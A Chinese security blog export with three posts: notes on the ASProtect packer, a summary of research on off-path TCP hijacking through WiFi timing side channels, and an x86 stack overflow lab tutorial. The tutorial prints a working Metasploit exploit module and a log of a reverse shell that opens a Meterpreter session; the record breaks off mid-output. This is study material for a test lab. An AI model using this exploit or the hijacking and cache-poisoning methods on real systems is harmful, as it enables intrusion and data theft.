<h2 id= "ASProtect" > <a href= "#ASProtect" class= "headerlink" title= "ASProtect" > </a> ASProtect</h2> <p > 这个壳在pack界当选老大是毫无异议的, 当然这里的老大不仅指它的加密强度, 而是在于它开创了壳的新时代, SEH,BPM断点的清除都出自这里, 更为有名的当属RSA的使用, 使得Demo版无法被crack成完整版本,code_dips也源于这里。IAT的处理即使到到现在看来也是很强的。他的特长在于各种加密算法的运用, 这也是各种壳要学习的地方。<br > 它可以压缩、加密、反跟踪代码、CRC校验和花指令等保护措施。<br > 使用Blowfish、Twofish、TEA等加密算法, 以RSA1024为注册密钥生成器, 通过API钩子与加壳程序通信。<br > ASProtect为软件开发人员提供了SDK, 从而实现了加密程序的内外结合。<br > ASProtect 1.x系列, 低版本用Stripper工具可自动脱壳。ASProtect的SKE系列主要在protect OEP和SDK上采用了虚拟机技术。</p>
<h3 id= "加密后的特征" > <a href= "#加密后的特征" class= "headerlink" title= "加密后的特征" > </a> 加密后的特征</h3> <ol >
<li > 导入函数很少</li>
<li > 程序的节名不再是典型的.text</li>
<li > 使用IDA打开, 几乎没有可识别的代码</li>
<li > 使用OllyDbg打开程序, 被警告该程序已加密, 查找参考文本字符串都是乱码</li>
<li > 使用PEiD检查出是ASProtect加壳</li>
</ol>
]]></content>
2021-04-10 10:53:27 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 二进制</category>
2021-04-10 10:53:27 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 逆向</tag>
<tag > 破解</tag>
</tags>
</entry>
<entry >
<title > wifi半双工侧信道攻击学习笔记</title>
<url > /2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content > <![CDATA[<h1 id="TCP侧信道分析及利用的学习报告"> <a href= "#TCP侧信道分析及利用的学习报告" class= "headerlink" title= "TCP侧信道分析及利用的学习报告" > </a> TCP侧信道分析及利用的学习报告</h1> <p > <strong > <em > 论文来源:</em> </strong> USENIX SECURITY 2018: Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets<br > <strong > <em > 下载:</em> </strong> <br > <a href= "https://www.usenix.org/conference/usenixsecurity18/presentation/chen-weiteng" target= "_blank" rel= "noopener" > 原文pdf</a> <br > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553316881/ARE/wifi.pptx" target= "_blank" rel= "noopener" > 中文slides</a> </p>
<h2 id= "背景知识" > <a href= "#背景知识" class= "headerlink" title= "背景知识" > </a> 背景知识</h2> <h3 id= "测信道" > <a href= "#测信道" class= "headerlink" title= "测信道" > </a> 测信道</h3> <p > <strong > 香农信息论</strong> </p>
<p > <img src= "https://raw.githubusercontent.com/Cool-Y/tcp_exploit/master/pic/1.PNG" alt= "信息熵" > </p>
<p > <strong > 什么是信息?</strong> 用来减少随机不确定的东西</p>
<p > <strong > 什么是加密?</strong> 类似于加噪声,增加随机不确定性</p>
<blockquote >
<p > “从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。”</p>
</blockquote>
<p > <strong > 侧信道随之出现</strong> 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。</p>
<ol >
<li > 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性</li>
<li > 而随着研究的深入, 逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递</li>
<li > 并在Web应用交互信息传递越来越频繁时, 延伸到了网络加密数据流的破解方面</li>
</ol>
<p > <strong > 侧信道攻击的流程</strong> 第一个就是侧信道泄露的截取,第二个是信息的恢复。</p>
<hr >
<h3 id= "网络攻击" > <a href= "#网络攻击" class= "headerlink" title= "网络攻击" > </a> 网络攻击</h3> <ol >
<li > 中间人攻击<blockquote >
<p > “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。”</p>
</blockquote>
</li>
</ol>
<p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/2-Man_in_the_middle_attack.svg.png?raw=true" a l t > </p>
<ul >
<li > 公共wifi、路由器劫持</li>
<li > 一般使用加密来防御</li>
<li > 加密的代价:维护密钥证书、影响功能(运营商无法做缓存)</li>
</ul>
<ol start= "2" >
<li > 非中间人攻击/偏离路径攻击/off-path attack<blockquote >
<p > 通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。</p>
</blockquote>
</li>
</ol>
<ul >
<li > 攻击成功需要:消息合法+最先到达</li>
<li > 防御措施: challenge-response/询问-应答机制<br > 双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。</li>
<li > 攻击者如何得到这个随机数:侧信道</li>
</ul>
<hr >
<h3 id= "TCP三次握手" > <a href= "#TCP三次握手" class= "headerlink" title= "TCP三次握手" > </a> TCP三次握手</h3> <p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/3-Connection_TCP.png?raw=true" a l t > </p>
<blockquote >
<ol >
<li > 客户端通过向服务器端发送一个SYN来创建一个主动打开, 作为三路握手的一部分。客户端把这段连接的序号设定为<em > 随机数A</em> 。</li>
<li > 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1, SYN/ACK包本身又有一个<em > 随机产生的序号B</em> 。</li>
<li > 最后, 客户端再发送一个ACK。当服务端收到这个ACK的时候, 就完成了三路握手, 并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1, 而响应号则为B+1。</li>
</ol>
</blockquote>
<p > 通过三次握手,确定对方不是非中间人</p>
<p > <strong > <em > TCP序列号的问题</em> </strong> </p>
<table >
<thead >
<tr >
<th style= "text-align:center" > 1985</th>
<th style= "text-align:center" > 1995</th>
<th style= "text-align:center" > 2001</th>
<th style= "text-align:center" > 2004</th>
<th style= "text-align:center" > 2007</th>
<th style= "text-align:center" > 2012</th>
<th style= "text-align:center" > 2012</th>
<th style= "text-align:center" > 2016</th>
</tr>
</thead>
<tbody >
<tr >
<td style= "text-align:center" > Morris</td>
<td style= "text-align:center" > Mitnik</td>
<td style= "text-align:center" > Zalewsky</td>
<td style= "text-align:center" > Waston</td>
<td style= "text-align:center" > kLM</td>
<td style= "text-align:center" > Herzberg</td>
<td style= "text-align:center" > 作者</td>
<td style= "text-align:center" > 作者</td>
</tr>
<tr >
<td style= "text-align:center" > 初始序列可预测</td>
<td style= "text-align:center" > 真实利用</td>
<td style= "text-align:center" > 漏洞仍在</td>
<td style= "text-align:center" > BGP DoS</td>
<td style= "text-align:center" > Windows攻击</td>
<td style= "text-align:center" > Puppet-assisted</td>
<td style= "text-align:center" > Malware-assisted</td>
<td style= "text-align:center" > off-path attack</td>
</tr>
</tbody>
</table>
<ol >
<li > 90年代时发现并不随机: 1995年伪造客户端连接微软大楼的服务器</li>
<li > 2007年在windows场景下用IDID侧信道猜出序列号: 只针对Windows, 花费几小时</li>
</ol>
<hr >
<h2 id= "Malware-assisted" > <a href= "#Malware-assisted" class= "headerlink" title= "Malware-assisted" > </a> Malware-assisted</h2> <p > <strong > 攻击模型:</strong> <br > 给受害者安装一个无特权的应用程序( 仅能网络连接) , 这个程序跟非中间人的攻击者里应外合, 劫持手机上所有的TCP连接。<br > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/5-%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B.PNG?raw=true" a l t > </p>
<p > <strong > 如何劫持TCP</strong> </p>
<ol >
<li > <p > 需要的信息: Facebook的连接IP地址和端口号, 由此可以知道TCP连接的序列号, 利用序列号伪装成Facebook给手机发消息。<br > 使用netstat命令获取: <br > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/4-netstat%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF.jpg?raw=true" a l t > </p>
</li>
<li > <p > 任务: 由于TCP的序列号通常连续, 所以要精确猜到它的下一个序列号。</p>
</li>
<li > 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。</li>
</ol>
<h3 id= "变种一:防火墙" > <a href= "#变种一:防火墙" class= "headerlink" title= "变种一:防火墙" > </a> 变种一:防火墙</h3> <p > <strong > 攻击过程:</strong> TCP三次握手之后产生A和B, 将来传输的包序列号必须跟A和B很接近, 否则, 防火墙会丢弃这个包。因此只有猜对了序列号, 包才能到达手机端。到达手机端后, 后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。</p>
<p > <strong > 具体侧信道方案:</strong> CPU资源使用率( 噪音很大) ——> TCP计数器( 后台软件运行制造噪音) ——> 低噪音计数器:包被丢掉时,一个相应的错误计数器。</p>
<p > <strong > 解决方法:</strong> 关闭防火墙检查序列号的功能</p>
<h3 id= "变种二:无防火墙" > <a href= "#变种二:无防火墙" class= "headerlink" title= "变种二:无防火墙" > </a> 变种二:无防火墙</h3> <p > 具体侧信道方案: 跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加, 大于时不变。二分查找搜索正确的序列号。<br > 影响范围: Android、Linux、MacOS、FreeBSD</p>
<hr >
<h2 id= "Pure-off-path-无恶意软件协助" > <a href= "#Pure-off-path-无恶意软件协助" class= "headerlink" title= "Pure off-path:无恶意软件协助" > </a> Pure off-path:无恶意软件协助</h2> <blockquote >
<p > 不植入恶意软件, 劫持任意两台机器的TCP连接: 首先确定是否建立TCP连接, 然后推测其序列号A和B。</p>
</blockquote>
<h3 id= "Global-Rate-Limit" > <a href= "#Global-Rate-Limit" class= "headerlink" title= "Global Rate Limit" > </a> Global Rate Limit</h3> <blockquote >
<p > USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous</p>
</blockquote>
<p > <strong > 侧信道:</strong> 所有的侧信道, 本质上就是攻击者和受害者之间共享着某些资源, 如之前的全局TCP计数器。这里使用的侧信道是 <strong > <em > 服务器上</em> </strong> 的共享资源,<strong > <em > 限速器</em> </strong> ( RFC 5961) 限制某一种包的发送速率( 默认100p/s) </p>
<p > <strong > 如何利用共享限速器:</strong> <br > 先判断是否建立了连接。然后伪造TCP包, 需要猜测源端口, 如果猜测正确, 服务器会返回一个challenge, 攻击者不断触发, 一共可以收到99个( 还有一个发给了客户端) ; 如果猜测错误, 则一共可以收到100个challenge。</p>
<p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/6-GRL-R.PNG?raw=true" a l t > </p>
<p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/7-GRL-L.PNG?raw=true" a l t > </p>
<p > <strong > 评估:</strong> 是否建立了连接:< 10s ; Seq: 30s ; ACK:< 10s</p>
<p > <strong > 解决方案:</strong> 1. 加噪音, 100变成150、200; 2. 限速器做成局部的</p>
<hr >
<h3 id= "Unfixable-WiFi-timing" > <a href= "#Unfixable-WiFi-timing" class= "headerlink" title= "Unfixable WiFi timing" > </a> Unfixable WiFi timing</h3> <blockquote >
<p > USENIX 2018 : Off-Path TCP Exploit: How Wireless Routers<br > Can Jeopardize Your Secrets<br > 之前的漏洞无论是计数器还是限速器都属于软件,很好更正,但这篇文章的漏洞利用无法修复。</p>
</blockquote>
<p > <strong > TCP收包的原理: </strong> 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了, 就会去看这个包的序列号; 如果序列号不对, 会触发一个回复, 说明这个序列号存在问题; 如果序列号正确, 但反向序列号不对, 也会丢包。当连接匹配、序列号和反向序列号正确时, 就会返回一个数据包。<br > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-%E6%94%B6%E5%8C%85%E5%8E%9F%E7%90%86.jpg?raw=true" a l t > </p>
<p > <strong > 侧信道:</strong> 攻击者伪装成服务器给客户端发包,正确的序列号会有<strong > <em > 回复</em> </strong> ,错误则没有。但回复时发送给服务器的,有没有回复攻击者并不知道。那么如何去判断有没有回复,利用无线网络的 <strong > <em > 半双工</em> </strong> 传输。<br > 让有回包和没有回包的时间差异放大。</p>
<p > <strong > 判断流程:</strong> 客户端和路由器之间wifi通信。攻击者依次发送三个数据包, 第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的, 如果第2个包猜对了, 客户端会向服务器返回数据包, 这会导致占用更长时间的wifi信道, 从而会使第3个包的RTT更长。<br > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-Trigger.PNG?raw=true" a l t > </p>
<p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/8-noTrigger.PNG?raw=true" a l t > </p>
<p > <strong > 评估:</strong> 在本地环境下, 如果发送40个包, 就有20ms的RTT差别。</p>
<p > <strong > 攻击应用:</strong> <br > <strong > 1. 攻击模型:</strong> 受害者访问了我们的钓鱼网站, 这时javascript( 傀儡) 会在后台执行, 主动建立到攻击者的连接( 规避NAT或防火墙造成的不可抵达问题) , 这时攻击者就可以从外网测试RTT。</p>
<blockquote >
<p > 与理想情况的不同: 客户端通常在NAT或防火墙之后; 操作系统不一定严格遵守TCP收包的原则</p>
</blockquote>
<pre > <code > Attacker -------wire----------|
Router ---------wireless-------Victim (client)
Server -------wire----------|
</code> </pre> <p > <strong > 2. 攻击目标:</strong> 推断出客户端和服务器是否建立了连接; 合计连接中交换的字节数或强制中断连接; 注入恶意payload到连接( 不失一般性的关注web缓存投毒) 。前两个不需要傀儡初始化连接, 第三个不一定需要, 但攻击者控制了时序, 能够简化攻击。</p>
<p > <strong > 3. 攻击过程:</strong> 假设傀儡已经建立了连接, 攻击者可以劫持并替换任何不加密的网站( 如武汉大学) , 并在浏览器缓存。这是因为当浏览器请求相同的ip地址时, 会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后, 路径外攻击者可以进行侧信道攻击, 以推断目标连接中使用的端口号和序列号, 然后注入虚假的http响应, 并要求浏览器不重新检查对象的新鲜度, 从而达到持续性的缓存投毒。</p>
<p > <strong > 4. 细节:</strong> </p>
<ul >
<li > <strong > 连接(四元组)推断:</strong> 每一轮使用30个重复包测试一个端口, 如果端口号正确, 就会发现RTT大幅增加。如果还要完成 <strong > <em > web缓存投毒</em> </strong> ,还需要傀儡初始化连接来协助,根据系统不同,有不同的端口选择算法可以优化:<strong > <em > windows& macOS</em> </strong> 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号, 这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号, 这完全消除了对端口号推断的需要。<strong > <em > NAT</em> </strong> 端口保留,不需要关心外部端口被转换成不可预知的内部端口。<strong > <em > 来自同一域名的多个IP地址</em> </strong> ,这意味着攻击者需要付出更大的代价来推断端口号。</li>
<li > <strong > 序列号推断:</strong> 通过利用时序侧信道来判断是否存在相应的响应,从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 <strong > <em > 窗口内序列号</em> </strong> ,通过进行二分搜索进一步将序列号空间缩小到单个值 <strong > <em > RCV.NXT</em> </strong> 。如果还要使用傀儡建立的连接发起web缓存投毒, 可以进一步优化: <strong > <em > 增大接收窗口的大小</em> </strong> , 可以减少猜测的迭代次数, 通常可以放大到500000(之前是65535), 而且根据RFC793,窗口放大之后就永远不会缩小。<br > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/9-%E5%BA%8F%E5%88%97%E5%8F%B7%E6%8E%A8%E6%96%AD.PNG?raw=true" a l t > </li>
<li > <p > <strong > TCP劫持: </strong> 通过劫持傀儡初始化的连接, 可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范, 所以各自处理情况也不同——<strong > <em > windows</em> </strong> : 客户端必须持续发送请求以防止ACK接收窗口仅为一个字节, 这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。<br > 因此, 作者设计了一种新策略, 该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 <strong > <em > ( 1) 注入</em> </strong> , 傀儡不断从服务器上请求脚本, 而攻击者发送2^23/|wnd|个欺骗性数据包, 这些包的窗口序列号与RCV.NXT加上偏移量相匹配, 其中|wnd|为ack接收窗口大小, 第i个数据包的ACK号为i*|wnd|, payload为</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > websocket.send(|wnd|*i)</span> <br > </pre> </td> </tr> </table> </figure>
<p > 因此, 这些数据包中包含有效ACK号的一个包将被缓冲, 并破坏真实的HTTP响应头。浏览器执行注入的脚本时, 它将通过websocket发送猜测的ACK号, 提供有效的窗口内ACK号。<br > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/9-http%E6%B3%A8%E5%85%A5.PNG?raw=true" a l t > <br > <strong > <em > ( 2) 利用</em> </strong> , 由于客户端已经接受了额外的欺骗payload, 推进了其预期的序列号, 因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应( 知道预期的序列号和有效的ACK号) 。如果我们只想执行一次性注入, 只需用恶意脚本替换第一步中的payload就足够了。<br > 此外, 针对Windows的注入步骤存在更加通用的替代策略, 不依赖于浏览器行为。 具体来说, 由于HTTP响应的前几个字节是可预先确定的( 即HTTP) , 不破坏真实的响应, 而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露, 就存在各种方法来有效地将数据注入浏览器, 而不用进行基于时间信道的慢得多的ACK号推断。</p>
</li>
</ul>
<hr >
<h2 id= "Discussion" > <a href= "#Discussion" class= "headerlink" title= "Discussion" > </a> Discussion</h2> <p > 时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退, 它被进一步放大。正如我们的测试路由器所证实的那样, 现代无线路由器都支持CSMA / CA和RTS / CTS, 因为它是802.11标准的一部分,并且该原则不太可能很快改变。<br > 虽然作者只讨论威胁模型, 其中来自受害客户端的连接是针对性的, 但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端( 例如, 在相同NAT之后) 共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下, 受害者连接( 通过傀儡打开) 只是为远程攻击者提供了测量碰撞的机会。<br > 此外, 我们可以扩展威胁模型以考虑无线连接的服务器, 例如物联网设备。已经证明, 通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下, 可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如, 计算在连接上交换的字节, 终止与另一主机的连接, 在正在进行的telnet连接上注入恶意命令。</p>
]]></content>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 顶会论文</category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 侧信道攻击</tag>
<tag > wifi</tag>
</tags>
</entry>
<entry >
<title > x86-basic 漏洞利用</title>
<url > /2019/07/10/x86basic/</url>
<content > <![CDATA[<h1 id="0x00-漏洞利用开发简介"> <a href= "#0x00-漏洞利用开发简介" class= "headerlink" title= "0x00 漏洞利用开发简介" > </a> 0x00 漏洞利用开发简介</h1> <p > ( 1) 需要什么</p>
<ul >
<li > Immunity Debugger -<a href= "http://debugger.immunityinc.com/ID_register.py" target= "_blank" rel= "noopener" > Download</a> </li>
<li > Mona.py -<a href= "https://github.com/corelan/mona" target= "_blank" rel= "noopener" > Download</a> </li>
<li > Metasploit框架-<a href= "https://www.metasploit.com/" target= "_blank" rel= "noopener" > 下载</a> </li>
<li > 靶机– Windows XP sp3</li>
</ul>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562741903/pwn/%E6%8D%95%E8%8E%B7.png" a l t > </p>
<ul >
<li > 函数调用与栈:调用、返回</li>
<li > 寄存器与函数栈帧: ESP、EBP</li>
<li > 函数栈帧:局部变量、栈帧状态值、函数返回地址</li>
<li > 函数调用约定与相关指令:参数传递方式、参数入栈顺序、恢复堆栈平衡的操作</li>
</ul>
<p > ( 2) 函数调用的汇编过程</p>
<ol >
<li > <p > 示例程序</p>
<figure class= "highlight cpp" > <table > <tr > <td class= "code" > <pre > <span class= "line" > charname[] = <span class= "string" > "1234567"</span> ;</span> <br > <span class= "line" > voidfunc(<span class= "keyword" > int</span> a, <span class= "keyword" > int</span> b, <span class= "keyword" > int</span> c)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > charbuf[<span class= "number" > 8</span> ];</span> <br > <span class= "line" > <span class= "built_in" > strcpy</span> (buf, name);</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
</li>
<li > <p > 汇编过程</p>
</li>
</ol>
<ul >
<li > PUSH c, PUSH b, PUSH a</li>
<li > CALL address of func【保存返回地址; 跳转】</li>
<li > MOV ebp, esp</li>
<li > PUSH ebp</li>
<li > SUB esp, 0x40</li>
<li > 创建局部变量, 4个字节为一组</li>
<li > do something</li>
<li > add esp, 0x40</li>
<li > pop ebp</li>
<li > RETN【弹出返回地址, 跳转】</li>
</ul>
<ol start= "3" >
<li > 栈帧结构<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742079/pwn/%E6%8D%95%E8%8E%B71.png" a l t > </li>
</ol>
<h1 id= "0x01-简单栈溢出" > <a href= "#0x01-简单栈溢出" class= "headerlink" title= "0x01 简单栈溢出" > </a> 0x01 简单栈溢出</h1> <blockquote >
<p > <strong > 目标程序:</strong> <br > <a href= "http://redstack.net/blog/static/uploads/2008/01/bof-server.c" target= "_blank" rel= "noopener" > bof-server source code</a> <br > <a href= "http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe" target= "_blank" rel= "noopener" > bof-server binary for Windows</a> <br > <strong > usage:</strong> <br > 服务端<br > <code > bof-server.exe 4242</code> <br > 客户端<br > <code > telnet localhost 4242</code> <br > <code > version</code> <br > <code > bof-server v0.01</code> <br > <code > quit</code> </p>
</blockquote>
<h2 id= "漏洞点" > <a href= "#漏洞点" class= "headerlink" title= "漏洞点" > </a> 漏洞点</h2> <p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742316/pwn/%E5%9B%BE%E7%89%871.png" a l t > </p>
<p > <strong > 产生崩溃</strong> <br > 将输出的1024个A发送给靶机程序<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > python -c " print(' A' * 1024)" </span> <br > <span class= "line" > telnet 192.168.64.138 4242</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742366/pwn/%E5%9B%BE%E7%89%872.png" a l t > </p>
<h2 id= "关闭防御措施" > <a href= "#关闭防御措施" class= "headerlink" title= "关闭防御措施" > </a> 关闭防御措施</h2> <p > 使用<strong > PESecurity</strong> 检查可执行文件本身的防御措施开启情况<br > 注意设置: Set-ExecutionPolicyUnrestricted</p>
<p > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742444/pwn/%E5%9B%BE%E7%89%873.png" a l t > </p>
<p > <strong > ASLR和DEP</strong> <br > ASLR在xp下不用考虑, DEP可通过修改boot.ini中的nonexecute来完成( AlwaysOff、OptOut) <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742486/pwn/%E5%9B%BE%E7%89%874.png" a l t > </p>
<h2 id= "整体的攻击流程" > <a href= "#整体的攻击流程" class= "headerlink" title= "整体的攻击流程" > </a> 整体的攻击流程</h2> <ol >
<li > 任意非00的指令覆盖buffer和EBP</li>
<li > 从程序已经加载的dll中获取他们的jmp esp指令地址。</li>
<li > 使用jmp esp的指令地址覆盖ReturnAddress</li>
<li > 从下一行开始填充Shellcode<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742543/pwn/%E5%9B%BE%E7%89%875.png" a l t > </li>
</ol>
<h2 id= "确定溢出点的位置" > <a href= "#确定溢出点的位置" class= "headerlink" title= "确定溢出点的位置" > </a> 确定溢出点的位置</h2> <ol >
<li > <p > 生成字符序列 <strong > pattern_create.rb</strong> <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742622/pwn/%E5%9B%BE%E7%89%876.png" a l t > </p>
</li>
<li > <p > 发送给目标程序<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742623/pwn/%E5%9B%BE%E7%89%877.png" a l t > </p>
</li>
<li > <p > 计算偏移量 <strong > pattern_offset.rb</strong> <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742685/pwn/%E5%9B%BE%E7%89%878.png" a l t > </p>
</li>
<li > <p > 确定payload结构<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742686/pwn/%E5%9B%BE%E7%89%879.png" a l t > </p>
</li>
</ol>
<h2 id= "寻找jmp-esp跳板" > <a href= "#寻找jmp-esp跳板" class= "headerlink" title= "寻找jmp esp跳板" > </a> 寻找jmp esp跳板</h2> <ol >
<li > OD附加进程看一下服务器加载了哪些模块<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742794/pwn/%E5%9B%BE%E7%89%8710.png" a l t > </li>
<li > 查找JMP ESP指令的地址<br > 在这里选择了ws2_32.dll作为对象, 通过Metasploit的msfbinscan进行搜索<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1562742793/pwn/%E5%9B%BE%E7%89%8711.png" a l t > </li>
</ol>
<h2 id= "自动化攻击" > <a href= "#自动化攻击" class= "headerlink" title= "自动化攻击" > </a> 自动化攻击</h2> <figure class= "highlight ruby" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "keyword" > require</span> <span class= "string" > 'msf/core'</span> </span> <br > <span class= "line" > <span class= "class" > <span class= "keyword" > class</span> <span class= "title" > Metasploit3</span> < Msf::Exploit::<span class= "title" > Remote</span> </span> </span> <br > <span class= "line" > Rank = NormalRanking</span> <br > <span class= "line" > <span class= "keyword" > include</span> Msf::Exploit::Remote::Tcp</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > initialize</span> <span class= "params" > (info = { } )</span> </span> </span> <br > <span class= "line" > <span class= "keyword" > super</span> (update_info(info,</span> <br > <span class= "line" > <span class= "string" > 'Name'</span> => <span class= "string" > 'Stack Based Buffer Overflow Example'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Description'</span> => <span class= "string" > %q{ </span> </span> <br > <span class= "line" > <span class= "string" > Stack Based Overflow Example Application Exploitation Module</span> </span> <br > <span class= "line" > <span class= "string" > } </span> ,</span> <br > <span class= "line" > <span class= "string" > 'Platform'</span> => <span class= "string" > 'Windows'</span> ,</span> <br > <span class= "line" > <span class= "string" > 'Author'</span> => <span class= "string" > 'yanhan'</span> ,</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "string" > 'Payload'</span> => </span> <br > <span class= "line" > { </span> <br > <span class= "line" > <span class= "string" > 'space'</span> => <span class= "number" > 400</span> ,</span> <br > <span class= "line" > <span class= "string" > 'BadChars'</span> => <span class= "string" > "\x00\xff"</span> </span> <br > <span class= "line" > } ,</span> <br > <span class= "line" > <span class= "string" > 'Targets'</span> => </span> <br > <span class= "line" > [</span> <br > <span class= "line" > [</span> <br > <span class= "line" > <span class= "string" > 'Windows XP SP3'</span> ,</span> <br > <span class= "line" > { <span class= "string" > 'Ret'</span> => <span class= "number" > 0x71a22b53</span> , <span class= "string" > 'Offset'</span> => <span class= "number" > 520</span> } </span> <br > <span class= "line" > ]</span> <br > <span class= "line" > ],</span> <br > <span class= "line" > <span class= "string" > 'DisclosureDate'</span> => <span class= "string" > '2019-05-25'</span> </span> <br > <span class= "line" > ))</span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > def</span> <span class= "title" > exploit</span> </span> </span> <br > <span class= "line" > connect</span> <br > <span class= "line" > buf = make_nops(target[<span class= "string" > 'Offset'</span> ])</span> <br > <span class= "line" > buf = buf + [target[<span class= "string" > 'Ret'</span> ]].pack(<span class= "string" > 'V'</span> ) + make_nops(<span class= "number" > 20</span> ) + payload.encoded</span> <br > <span class= "line" > sock.put(buf)</span> <br > <span class= "line" > handler</span> <br > <span class= "line" > disconnect</span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > <span class= "line" > <span class= "keyword" > end</span> </span> <br > </pre> </td> </tr> </table> </figure>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > msf5 > use exploit/windows/yanhan/bof_attack</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114</span> <br > <span class= "line" > rhosts => 192.168.31.114</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/bof_attack) > set rport 1000</span> <br > <span class= "line" > rport => 1000</span> <br > <span class= "line" > msf5 exploit(windows/yanhan/bof_attack) > exploit</span> <br > <span class= "line" > </span> <br > <span class= "line" > [*] Started reverse TCP handler on 192.168.31.84:4444</span> <br > <span class= "line" > [*] Sending stage (179779 bytes) to 192.168.31.114</span> <br > <span class= "line" > [*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800</span> <br > <span class= "line" > </span> <br > <span class= "line" > meterpreter > ls</span> <br > <span class= "line" > Listing: C:\Documents and Settings\Administrator</span> <br > <span class= "line" > ================================================</span> <br > <span class= "line" > </span> <br > <span class= "line" > Mode Size Type Last modified Name</span> <br > <span class= "line" > ---- ---- ---- ------------- ----</span> <br > <span class= "line" > 40555/r-xr-xr-x 